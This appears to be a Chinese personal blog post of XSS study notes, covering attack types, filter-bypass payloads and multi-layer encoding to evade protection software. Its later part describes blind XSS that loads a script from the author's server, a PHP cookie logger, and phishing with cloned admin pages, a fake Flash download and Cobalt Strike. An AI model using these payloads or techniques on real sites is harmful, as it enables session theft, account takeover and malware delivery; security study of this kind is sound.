XSS学习
XSS
基础
简介
攻击者在网页中嵌入客户端脚本,主要利用js编写的恶意代码来执行一些想要的功能
同源策略
同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源
分类
依据效果可分为三类
反射型: 非持久性XSS攻击,当用户访问已被插入攻击代码的链接时,服务器端就会接收并处理带有攻击代码的数据,然后返回到浏览器中,完成攻击,这个过程就像一次反射。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗
存储型:持久型XSS攻击,攻击者把攻击代码永久存储在目标服务器上中,例如数据库,消息论坛,留言板,访问者日志等。当用户进入页面,代码就会被执行。
DOM 型:DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应
反射型
特点:非持久化,必须用户点击带有特定参数的链接才可以起作用
一个简单的例子,点击后跳转百度
1 | <script>alert("点击此处修复");location.href="https://www.baidu.com"</script> |
常出现在get方式传参
储存型
在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码。
特点:可以持续攻击。
最有可能出现的位置:留言板、评论区、用户头像、个性签名、博客等等。
写入留言板
1 | <script type="text/javascript"> |
访问时会自动跳转百度
Dom型
JavaScript伪协议
- Data伪协议:
data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=
- JavaScript伪协议:
onfocus=javascript:alert("1")
<a href=javascript:alert('xss') > xss</a>
常见绕过方式
遇到对尖括号< >进行转义的,可将payload进行Unicode编码
对
<script>
标签进行过滤,可以尝试大小写,双写,或其它标签,例如:、等等<a href=javascript:alert(1)>XSS</a>
<img src=111 onerror=alert('xss')>
如果不能通过属性进行跨站,那么还可以利用时间处理函数
1 | <input type = "button" value = "clickme" οnclick="alert(‘click me‘)" /> |
- 闭合网页中的标签,使自己的xss可以被执行(//可以注释后面的内容)
1 | “><script>alert(“Hi”);</script> // |
针对开启了magic_quotes_gpc(这个是PHP中的安全设置)的网站,我们可以通过javascript中的String.fromCharCode方法来绕过
可以使用javascript: 伪协议的方式构造XSS
1
<a href="javascript:alert(/xss/)">You can trust me!</a>
XSS常用payload:
1 | <script>alert(1)</script> |
编码混淆
一定要遵循浏览器的规则才可以确保代码能够被浏览器理解!!!
(1)混合编码
如:对<a href=javascript:alert(/XSS/)>test</a>
编码
1 | <a href="javascript:\u0061\u006c\u0065\u0072\u0074(/XSS/)">test</a> |
其中对JavaScript进行了html实体编码 对alert进行了Unicode编码 ,这样一来在保证代码能够正常执行的前提下,还可以绕过一些防护
2)二层混淆
二层混淆就是对XSS代码在遵循浏览器解码规则的情况下进行两次编码,让防护软件无法理解XSS代码,进而绕过防护软件。
- javascript(最后) < unicode(其次) < html(最先被解码)
1 | <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(/XSS/)">test</a> |
上面的alert经过了双重编码,先是Unicode编码,然后又经过Url编码(所有字符都要编码),这里提供一个网站在线urlencode编码、urldecode解码、url编码解码、百分号编码 ,JavaScript依旧是html实体编码
3)三层混淆
三层混淆就是在二层混淆的基础上再增加一次编码,让防护软件无法理解,前提还是要遵循浏览器的解析规则,使代码能够被浏览器理解!!!
还是以上面那个为例,只要将alert再进行一次html实体编码即可
实战XSS思路
https://www.sqlsec.com/2020/10/xss2.html
盲打
输入处直接拼接js代码,访问自己服务器上的js文件
1 | <script src="http://10.20.24.244/xss/myjs/x.js"></script> |
也可以去掉双引号
1 | <script src=http://10.20.24.244/xss/myjs/x.js></script> |
当对方查看我们输入表单内容时(一般是后在查看),可以利用js代码获取其cookie以及后台url,这样就可以以管理员身份登录
1 alert(document.cookie);也可以在服务区上写个php
1
2
3
4
5
6
7
8
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
SET钓鱼
set工具生成与后台页面相同网页,诱导管理员点击
可以直接用XSS的链接跳转
1 | <script>window.location.href="http://10.20.25.39/"</script> |
mac终端使用setoolkit,运行
1
2 social-engineer-toolkit
sudo setoolkit
Flash钓鱼
模仿的 Flash Player 中文官网的页面
点击会下载准备好的CS马
CS钓鱼
Cobalt Strike 也是可以轻松构建出一个钓鱼网站的,操作也比较简单:
「攻击」-「钓鱼攻击」-「克隆网站」:
- 标题: XSS学习
- 作者: Sl0th
- 创建于 : 2022-05-14 00:10:51
- 更新于 : 2024-11-11 18:23:06
- 链接: http://sl0th.top/2022/05/14/XSS学习/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。